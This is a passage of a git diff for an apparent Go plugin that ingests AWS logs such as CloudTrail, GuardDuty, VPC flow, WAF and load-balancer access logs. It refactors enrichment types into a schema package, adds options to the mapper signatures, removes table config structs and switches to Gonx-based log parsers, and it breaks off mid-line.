h1:SROYIo/TI/Q/YNfXK+sAIS71umypUFm1Uz851TmoJkM= github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKkIzl7aZKAFtIsyAR+z4YI= +github.com/turbot/steampipe-plugin-sdk/v5 v5.8.0 h1:e/5EYO7B7UZW6joxO/wqtJGYFu+7NMCqMk/tPVbquFY= +github.com/turbot/steampipe-plugin-sdk/v5 v5.8.0/go.mod h1:tYRC7FDKPTZ3MSty/tGLtH6UnVpU3zs1osF5DuktB5Q= github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7 h1:qDMxFVd8Zo0rIhnEBdCIbR+T6WgjwkxpFZMN8zZmmjg= github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7/go.mod h1:5hzpfalEjfcJWp9yq75/EZoEu2Mzm34eJAPm3HOW2tw= github.com/ulikunitz/xz v0.5.10 h1:t92gobL9l3HE202wg3rlk19F6X+JOxl9BBrCCMYEYd8= @@ -680,6 +698,8 @@ github.com/zclconf/go-cty-debug v0.0.0-20191215020915-b22d67c1ba0b h1:FosyBZYxY3 github.com/zclconf/go-cty-debug v0.0.0-20191215020915-b22d67c1ba0b/go.mod h1:ZRKQfBXbGkpdV6QMzT3rU1kSTAnfu1dO8dPKjYprgj8= github.com/zclconf/go-cty-yaml v1.0.3 h1:og/eOQ7lvA/WWhHGFETVWNduJM7Rjsv2RRpx1sdFMLc= github.com/zclconf/go-cty-yaml v1.0.3/go.mod h1:9YLUH4g7lOhVWqUbctnVlZ5KLpg7JAprQNgxSZ1Gyxs= +github.com/zeebo/xxh3 v1.0.2 h1:xZmwmqxHZA8AI603jOQ0tMqmBr9lPeFwGg6d+xy9DC0= +github.com/zeebo/xxh3 v1.0.2/go.mod h1:5NWz9Sef7zIDm2JHfFlcQvNekmcEl9ekUZQQKCYaDcA= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= diff --git a/mappers/cloudtrail_mapper.go b/mappers/cloudtrail_mapper.go index 56dd8bd8..2fb35b9f 100644 --- a/mappers/cloudtrail_mapper.go +++ b/mappers/cloudtrail_mapper.go @@ -6,6 +6,7 @@ import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" ) type CloudTrailMapper struct { @@ -15,7 +16,7 @@ func (m *CloudTrailMapper) Identifier() string { return "cloudtrail_mapper" } -func (m *CloudTrailMapper) Map(_ context.Context, a any) (*rows.CloudTrailLog, error) { +func (m *CloudTrailMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.CloudTrailLog]) (*rows.CloudTrailLog, error) { var log rows.CloudTrailLog var jsonBytes []byte var err error diff --git a/mappers/cost_usage_mapper.go b/mappers/cost_usage_mapper.go index 4144a5a9..d926dc97 100644 --- a/mappers/cost_usage_mapper.go +++ b/mappers/cost_usage_mapper.go @@ -9,9 +9,9 @@ import ( "time" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" ) -// CostAndUsageLogMapper type CostAndUsageLogMapper struct { } @@ -19,7 +19,7 @@ func (c *CostAndUsageLogMapper) Identifier() string { return "cost_and_usage_mapper" } -func (c *CostAndUsageLogMapper) Map(_ context.Context, a any) (*rows.CostAndUsageLog, error) { +func (c *CostAndUsageLogMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.CostAndUsageLog]) (*rows.CostAndUsageLog, error) { csvRow, ok := a.(string) if !ok { return nil, fmt.Errorf("input data is not of type string") @@ -33,11 +33,9 @@ func (c *CostAndUsageLogMapper) Map(_ context.Context, a any) (*rows.CostAndUsag return nil, err } - var log *rows.CostAndUsageLog - // TODO - find a better way of doing this parsing // this works for now, since the csv columns are fixed and ordered - log = &rows.CostAndUsageLog{ + log := &rows.CostAndUsageLog{ InvoiceID: &row[0], PayerAccountId: &row[1], LinkedAccountId: &row[2], diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go index 8c42adc1..837b1824 100644 --- a/mappers/guardduty_mapper.go +++ b/mappers/guardduty_mapper.go @@ -10,6 +10,7 @@ import ( "github.com/aws/aws-sdk-go-v2/service/guardduty/types" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" ) // GuardDutyMapper is a mapper that receives GuardDutyBatch objects and extracts GuardDutyFinding records from them @@ -21,7 +22,7 @@ func (g *GuardDutyMapper) Identifier() string { } // Map casts the data item as a GuardDutyBatch and returns the GuardDutyFinding records -func (g *GuardDutyMapper) Map(_ context.Context, a any) (*rows.GuardDutyFinding, error) { +func (g *GuardDutyMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.GuardDutyFinding]) (*rows.GuardDutyFinding, error) { var jsonBytes []byte // The expected input type is a JSON byte[] deserializable to GuardDutyBatch switch v := a.(type) { diff --git a/mappers/lambda_log_mapper.go b/mappers/lambda_log_mapper.go index 9a3e3ae4..8636b449 100644 --- a/mappers/lambda_log_mapper.go +++ b/mappers/lambda_log_mapper.go @@ -8,6 +8,7 @@ import ( "time" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" ) type LambdaLogMapper struct { @@ -17,7 +18,7 @@ func (m *LambdaLogMapper) Identifier() string { return "lambda_log_mapper" } -func (m *LambdaLogMapper) Map(ctx context.Context, a any) (*rows.LambdaLog, error) { +func (m *LambdaLogMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.LambdaLog]) (*rows.LambdaLog, error) { row := &rows.LambdaLog{} rawRow, ok := a.(string) diff --git a/mappers/securityhub_finding_mapper.go b/mappers/securityhub_finding_mapper.go index babd4658..9d21eb0e 100644 --- a/mappers/securityhub_finding_mapper.go +++ b/mappers/securityhub_finding_mapper.go @@ -6,6 +6,7 @@ import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" ) type SecurityHubFindingMapper struct { @@ -15,7 +16,7 @@ func (m *SecurityHubFindingMapper) Identifier() string { return "security_hub_finding_mapper" } -func (m *SecurityHubFindingMapper) Map(_ context.Context, a any) (*rows.SecurityHubFinding, error) { +func (m *SecurityHubFindingMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.SecurityHubFinding]) (*rows.SecurityHubFinding, error) { var b rows.SecurityHubFinding switch data := a.(type) { diff --git a/mappers/vpc_flow_log_mapper.go b/mappers/vpc_flow_log_mapper.go index a960f4a4..79d028fa 100644 --- a/mappers/vpc_flow_log_mapper.go +++ b/mappers/vpc_flow_log_mapper.go @@ -9,6 +9,7 @@ import ( "time" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" ) // VpcFlowLogMapper is a mapper that receives string objects and extracts VpcFlowLog record @@ -28,7 +29,7 @@ func (c *VpcFlowLogMapper) Identifier() string { } // Map casts the data item as an string and returns the VpcFlowLog records -func (c *VpcFlowLogMapper) Map(_ context.Context, a any) (*rows.VpcFlowLog, error) { +func (c *VpcFlowLogMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.VpcFlowLog]) (*rows.VpcFlowLog, error) { rowString, ok := a.(string) if !ok { return nil, fmt.Errorf("expected string, got %T", a) diff --git a/mappers/waf_mapper.go b/mappers/waf_mapper.go index fca6c966..df9815b5 100644 --- a/mappers/waf_mapper.go +++ b/mappers/waf_mapper.go @@ -6,6 +6,7 @@ import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" ) type WafMapper struct { @@ -15,7 +16,7 @@ func (c *WafMapper) Identifier() string { return "waf_mapper" } -func (c *WafMapper) Map(_ context.Context, a any) (*rows.WafTrafficLog, error) { +func (c *WafMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.WafTrafficLog]) (*rows.WafTrafficLog, error) { var jsonBytes []byte switch v := a.(type) { diff --git a/rows/alb_access_log.go b/rows/alb_access_log.go index 4d207710..afc22264 100644 --- a/rows/alb_access_log.go +++ b/rows/alb_access_log.go @@ -8,7 +8,7 @@ import ( "strings" "time" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/schema" ) // AlbAccessLog represents a single Application Load Balancer (ALB) access log entry. @@ -35,7 +35,7 @@ import ( // - tp_date: derived from timestamp in yyyy-mm-dd format type AlbAccessLog struct { - enrichment.CommonFields + schema.CommonFields // Standard ALB fields Type string `json:"type"` diff --git a/rows/cloudtrail_log.go b/rows/cloudtrail_log.go index 3aff64d7..83b486e9 100644 --- a/rows/cloudtrail_log.go +++ b/rows/cloudtrail_log.go @@ -3,7 +3,7 @@ package rows import ( "time" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/types" ) @@ -13,7 +13,7 @@ type CloudTrailLogBatch struct { type CloudTrailLog struct { // embed required enrichment fields - enrichment.CommonFields + schema.CommonFields // json tags for marshalling to/from the source & parquet tags handle the parquet column names for the table AdditionalEventData *map[string]interface{} `json:"additionalEventData,omitempty" parquet:"name=additional_event_data, type=JSON"` diff --git a/rows/cost_usage_log.go b/rows/cost_usage_log.go index a531df31..d6c088cf 100644 --- a/rows/cost_usage_log.go +++ b/rows/cost_usage_log.go @@ -3,11 +3,11 @@ package rows import ( "time" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/schema" ) type CostAndUsageLog struct { - enrichment.CommonFields + schema.CommonFields InvoiceID *string `json:"invoice_id,omitempty"` PayerAccountId *string `json:"payer_account_id,omitempty"` diff --git a/rows/elb_access_log.go b/rows/elb_access_log.go index eb348bed..b843e63d 100644 --- a/rows/elb_access_log.go +++ b/rows/elb_access_log.go @@ -6,11 +6,11 @@ import ( "strings" "time" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/schema" ) type ElbAccessLog struct { - enrichment.CommonFields + schema.CommonFields Type string `json:"type"` Timestamp time.Time `json:"timestamp"` diff --git a/rows/elb_access_log_test.go b/rows/elb_access_log_test.go index 5f2b650d..1cc0de70 100644 --- a/rows/elb_access_log_test.go +++ b/rows/elb_access_log_test.go @@ -7,9 +7,8 @@ import ( "github.com/google/go-cmp/cmp" "github.com/google/go-cmp/cmp/cmpopts" "github.com/stretchr/testify/assert" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/schema" ) func TestAwsElbAccessLog_InitialiseFromMap(t *testing.T) { @@ -212,7 +211,7 @@ func TestAwsElbAccessLog_InitialiseFromMap(t *testing.T) { return } // Tactical - ignore tp fields - l.CommonFields = enrichment.CommonFields{} + l.CommonFields = schema.CommonFields{} equal := cmp.Equal(l, tt.want, cmpopts.IgnoreUnexported(ElbAccessLog{})) if !equal { t.Errorf("InitialiseFromMap() = %v, want %v", l, tt.want) diff --git a/rows/guardduty_finding.go b/rows/guardduty_finding.go index a27e5c8f..53a2366c 100644 --- a/rows/guardduty_finding.go +++ b/rows/guardduty_finding.go @@ -4,12 +4,11 @@ import ( "time" "github.com/aws/aws-sdk-go-v2/service/guardduty/types" - - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/schema" ) type GuardDutyFinding struct { - enrichment.CommonFields + schema.CommonFields AccountId *string `json:"account_id"` Arn *string `json:"arn"` diff --git a/rows/lambda_log.go b/rows/lambda_log.go index c9aa4fa4..7b88a5a3 100644 --- a/rows/lambda_log.go +++ b/rows/lambda_log.go @@ -3,11 +3,11 @@ package rows import ( "time" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/schema" ) type LambdaLog struct { - enrichment.CommonFields + schema.CommonFields Timestamp *time.Time `json:"timestamp,omitempty"` RequestID *string `json:"request_id,omitempty"` diff --git a/rows/s3_server_access_log.go b/rows/s3_server_access_log.go index 00b28076..c6eff5ae 100644 --- a/rows/s3_server_access_log.go +++ b/rows/s3_server_access_log.go @@ -5,11 +5,11 @@ import ( "strconv" "time" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/schema" ) type S3ServerAccessLog struct { - enrichment.CommonFields + schema.CommonFields BucketOwner string `json:"bucket_owner"` Bucket string `json:"bucket"` diff --git a/rows/securityhub_finding.go b/rows/securityhub_finding.go index 4cb1ac82..2996039e 100644 --- a/rows/securityhub_finding.go +++ b/rows/securityhub_finding.go @@ -3,11 +3,11 @@ package rows import ( "time" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/schema" ) type SecurityHubFinding struct { - enrichment.CommonFields + schema.CommonFields // Top level fields Version *string `json:"version,omitempty"` diff --git a/rows/vpc_flow_log.go b/rows/vpc_flow_log.go index cfeff2b5..369691c2 100644 --- a/rows/vpc_flow_log.go +++ b/rows/vpc_flow_log.go @@ -1,13 +1,14 @@ package rows import ( - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "time" + + "github.com/turbot/tailpipe-plugin-sdk/schema" ) type VpcFlowLog struct { // embed required enrichment fields - enrichment.CommonFields + schema.CommonFields Timestamp *time.Time `json:"timestamp,omitempty"` Version *int32 `json:"version,omitempty"` diff --git a/rows/waf_traffic_log.go b/rows/waf_traffic_log.go index 9ae89a9c..b1098039 100644 --- a/rows/waf_traffic_log.go +++ b/rows/waf_traffic_log.go @@ -3,7 +3,7 @@ package rows import ( "time" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/schema" ) // Define a nested struct for httpRequest headers @@ -26,7 +26,7 @@ type HttpRequest struct { // WafTrafficLog struct with fields aligned to the provided JSON type WafTrafficLog struct { - enrichment.CommonFields + schema.CommonFields Timestamp *time.Time `json:"timestamp,omitempty"` FormatVersion *int32 `json:"format_version,omitempty"` diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go index 86afa6bc..34bb9d8a 100644 --- a/sources/cloudwatch_log_group_source.go +++ b/sources/cloudwatch_log_group_source.go @@ -10,12 +10,11 @@ import ( "github.com/aws/aws-sdk-go-v2/aws" "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs" cwtypes "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs/types" - typehelpers "github.com/turbot/go-kit/types" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/config_data" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/types" ) @@ -75,8 +74,8 @@ func (s *AwsCloudWatchSource) Collect(ctx context.Context) error { // collect events from each log stream for _, ls := range logStreamCollection { - sourceEnrichmentFields := &enrichment.SourceEnrichment{ - CommonFields: enrichment.CommonFields{ + sourceEnrichmentFields := &schema.SourceEnrichment{ + CommonFields: schema.CommonFields{ TpSourceType: AwsCloudwatchSourceIdentifier, TpSourceName: &s.Config.LogGroupName, TpSourceLocation: ls.LogStream.LogStreamName, @@ -127,7 +126,6 @@ func (s *AwsCloudWatchSource) Collect(ctx context.Context) error { } if err := s.OnRow(ctx, row, collectionStateJSON); err != nil { - // TODO K #errorHandling - this does not bubble up return fmt.Errorf("error processing row: %w", err) } } diff --git a/sources/cloudwatch_log_group_source_config.go b/sources/cloudwatch_log_group_source_config.go index 0b6c1bbd..30eccf52 100644 --- a/sources/cloudwatch_log_group_source_config.go +++ b/sources/cloudwatch_log_group_source_config.go @@ -3,15 +3,10 @@ package sources import ( "fmt" "time" - - "github.com/hashicorp/hcl/v2" ) // AwsCloudWatchSourceConfig is the configuration for an [AwsCloudWatchSource] type AwsCloudWatchSourceConfig struct { - // required to allow partial decoding - Remain hcl.Body `hcl:",remain" json:"-"` - LogGroupName string `hcl:"log_group_name"` LogStreamPrefix *string `hcl:"log_stream_prefix"` StartTimeString string `hcl:"start_time"` diff --git a/sources/s3_bucket_source.go b/sources/s3_bucket_source.go index 3b969115..dc17047b 100644 --- a/sources/s3_bucket_source.go +++ b/sources/s3_bucket_source.go @@ -11,13 +11,12 @@ import ( "strings" "github.com/aws/aws-sdk-go-v2/service/s3" - "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/config_data" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/types" ) @@ -66,7 +65,7 @@ func (s *AwsS3BucketSource) Init(ctx context.Context, configData config_data.Con slog.Info("Initialized AwsS3BucketSource", "bucket", s.Config.Bucket, "prefix", s.Config.Prefix, "extensions", s.Extensions) - return err + return nil } func (s *AwsS3BucketSource) Identifier() string { @@ -129,8 +128,8 @@ func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { if s.Extensions.IsValid(path) { // populate enrichment fields the source is aware of // - in this case the source location - sourceEnrichmentFields := &enrichment.SourceEnrichment{ - CommonFields: enrichment.CommonFields{ + sourceEnrichmentFields := &schema.SourceEnrichment{ + CommonFields: schema.CommonFields{ TpSourceType: AwsS3BucketSourceIdentifier, TpSourceName: &s.Config.Bucket, TpSourceLocation: &path, @@ -146,7 +145,11 @@ func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { // TODO #error #paging what??? download anyway??? continue } - info.SetPathProperties(extractedProperties) + err := info.SetPathProperties(extractedProperties) + if err != nil { + // TODO #error what??? download + continue + } if !collectionState.ShouldCollect(info) { continue diff --git a/sources/s3_bucket_source_config.go b/sources/s3_bucket_source_config.go index 09c03c9f..19fdb348 100644 --- a/sources/s3_bucket_source_config.go +++ b/sources/s3_bucket_source_config.go @@ -5,15 +5,14 @@ import ( "regexp" "github.com/hashicorp/hcl/v2" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" ) // AwsS3BucketSourceConfig is the configuration for an [AwsS3BucketSource] type AwsS3BucketSourceConfig struct { - artifact_source_config.ArtifactSourceConfigBase // required to allow partial decoding Remain hcl.Body `hcl:",remain" json:"-"` + artifact_source_config.ArtifactSourceConfigBase Bucket string `hcl:"bucket"` Prefix *string `hcl:"prefix"` diff --git a/sources/s3_collection_state.go b/sources/s3_collection_state.go index 6f72ea3b..852438cf 100644 --- a/sources/s3_collection_state.go +++ b/sources/s3_collection_state.go @@ -14,7 +14,10 @@ type AwsS3CollectionState struct { } func NewAwsS3CollectionState() collection_state.CollectionState[*AwsS3BucketSourceConfig] { - return &AwsS3CollectionState{} + cs := &AwsS3CollectionState{} + cs.StartObjects = make(map[string]*collection_state.ArtifactMetadata) + cs.EndObjects = make(map[string]*collection_state.ArtifactMetadata) + return cs } func (s *AwsS3CollectionState) Init(config *AwsS3BucketSourceConfig) error { diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index 972c73dc..0f2ed8b1 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -7,8 +7,9 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/mappers" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/table" ) @@ -22,17 +23,17 @@ func init() { // 1. row struct // 2. table config struct // 3. table implementation - table.RegisterTable[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *AlbAccessLogTable]() + table.RegisterTable[*rows.AlbAccessLog, *AlbAccessLogTable]() } type AlbAccessLogTable struct{} -func (c *AlbAccessLogTable) GetSourceMetadata(_ *AlbAccessLogTableConfig) []*table.SourceMetadata[*rows.AlbAccessLog] { +func (c *AlbAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.AlbAccessLog] { return []*table.SourceMetadata[*rows.AlbAccessLog]{ { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - Mapper: table.NewRowPatternMapper[*rows.AlbAccessLog](albLogFormat, albLogFormatNoConnTrace), + Mapper: mappers.NewGonxMapper[*rows.AlbAccessLog](albLogFormat, albLogFormatNoConnTrace), Options: []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), }, @@ -44,7 +45,7 @@ func (c *AlbAccessLogTable) Identifier() string { return AlbAccessLogTableIdentifier } -func (c *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, _ *AlbAccessLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.AlbAccessLog, error) { +func (c *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.AlbAccessLog, error) { row.CommonFields = sourceEnrichmentFields.CommonFields // Standard record enrichment diff --git a/tables/alb_access_log_table_config.go b/tables/alb_access_log_table_config.go deleted file mode 100644 index 22803f5f..00000000 --- a/tables/alb_access_log_table_config.go +++ /dev/null @@ -1,14 +0,0 @@ -package tables - -type AlbAccessLogTableConfig struct { -} - -func (c *AlbAccessLogTableConfig) Identifier() string { - return AlbAccessLogTableIdentifier -} - -func (c *AlbAccessLogTableConfig) Validate() error { - // By default, use built-in ALB log format - // Add any additional validation as needed - return nil -} diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 0ec17c9f..5075aadb 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -5,7 +5,6 @@ import ( "time" "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/extractors" "github.com/turbot/tailpipe-plugin-aws/mappers" @@ -14,8 +13,8 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/table" ) @@ -26,13 +25,13 @@ func init() { // 1. row struct // 2. table config struct // 3. table implementation - table.RegisterTable[*rows.CloudTrailLog, *CloudTrailLogTableConfig, *CloudTrailLogTable]() + table.RegisterTable[*rows.CloudTrailLog, *CloudTrailLogTable]() } // CloudTrailLogTable - table for CloudTrailLog logs type CloudTrailLogTable struct{} -func (t *CloudTrailLogTable) GetSourceMetadata(_ *CloudTrailLogTableConfig) []*table.SourceMetadata[*rows.CloudTrailLog] { +func (t *CloudTrailLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.CloudTrailLog] { // the default file layout for CloudTrail logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), @@ -60,7 +59,7 @@ func (t *CloudTrailLogTable) Identifier() string { } // EnrichRow implements table.Table -func (t *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, _ *CloudTrailLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.CloudTrailLog, error) { +func (t *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.CloudTrailLog, error) { // initialize the enrichment fields to any fields provided by the source row.CommonFields = sourceEnrichmentFields.CommonFields diff --git a/tables/cloudtrail_log_table_config.go b/tables/cloudtrail_log_table_config.go deleted file mode 100644 index 54c1a6dc..00000000 --- a/tables/cloudtrail_log_table_config.go +++ /dev/null @@ -1,11 +0,0 @@ -package tables - -type CloudTrailLogTableConfig struct{} - -func (c *CloudTrailLogTableConfig) Identifier() string { - return CloudTrailLogTableIdentifier -} - -func (c *CloudTrailLogTableConfig) Validate() error { - return nil -} diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index ded7958b..c3d8867c 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -4,7 +4,6 @@ import ( "time" "github.com/rs/xid" - typehelpers "github.com/turbot/go-kit/types" "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" @@ -12,8 +11,8 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/table" ) @@ -24,7 +23,7 @@ func init() { // 1. row struct // 2. table config struct // 3. table implementation - table.RegisterTable[*rows.CostAndUsageLog, *CostAndUsageLogTableConfig, *CostAndUsageLogTable]() + table.RegisterTable[*rows.CostAndUsageLog, *CostAndUsageLogTable]() } // CostAndUsageLogTable - table for CostAndUsageLogs @@ -35,7 +34,7 @@ func (t *CostAndUsageLogTable) Identifier() string { return CostUsageLogTableIdentifier } -func (t *CostAndUsageLogTable) GetSourceMetadata(partitionConfig *CostAndUsageLogTableConfig) []*table.SourceMetadata[*rows.CostAndUsageLog] { +func (t *CostAndUsageLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.CostAndUsageLog] { // TODO fix FileLayout defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("/Users/vedmisra/billing-info/(?P\\d{4})(?P\\d{2})(?P\\d{2})"), @@ -54,7 +53,7 @@ func (t *CostAndUsageLogTable) GetSourceMetadata(partitionConfig *CostAndUsageLo } // EnrichRow implements table.Table -func (t *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, _ *CostAndUsageLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.CostAndUsageLog, error) { +func (t *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.CostAndUsageLog, error) { // initialize the enrichment fields to any fields provided by the source row.CommonFields = sourceEnrichmentFields.CommonFields diff --git a/tables/cost_usage_log_table_config.go b/tables/cost_usage_log_table_config.go deleted file mode 100644 index 18048d99..00000000 --- a/tables/cost_usage_log_table_config.go +++ /dev/null @@ -1,11 +0,0 @@ -package tables - -type CostAndUsageLogTableConfig struct{} - -func (c *CostAndUsageLogTableConfig) Validate() error { - return nil -} - -func (*CostAndUsageLogTableConfig) Identifier() string { - return CostUsageLogTableIdentifier -} diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index d192ba06..3b76cf1c 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -7,8 +7,9 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/mappers" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/table" ) @@ -19,7 +20,7 @@ func init() { // 1. row struct // 2. table config struct // 3. table implementation - table.RegisterTable[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *ElbAccessLogTable]() + table.RegisterTable[*rows.ElbAccessLog, *ElbAccessLogTable]() } const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` @@ -31,11 +32,11 @@ func (c *ElbAccessLogTable) Identifier() string { return ElbAccessLogTableIdentifier } -func (c *ElbAccessLogTable) GetSourceMetadata(_ *ElbAccessLogTableConfig) []*table.SourceMetadata[*rows.ElbAccessLog] { +func (c *ElbAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.ElbAccessLog] { return []*table.SourceMetadata[*rows.ElbAccessLog]{ { SourceName: constants.ArtifactSourceIdentifier, - Mapper: table.NewRowPatternMapper[*rows.ElbAccessLog](elbLogFormat, elbLogFormatNoConnTrace), + Mapper: mappers.NewGonxMapper[*rows.ElbAccessLog](elbLogFormat, elbLogFormatNoConnTrace), Options: []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), }, @@ -43,7 +44,7 @@ func (c *ElbAccessLogTable) GetSourceMetadata(_ *ElbAccessLogTableConfig) []*tab } } -func (c 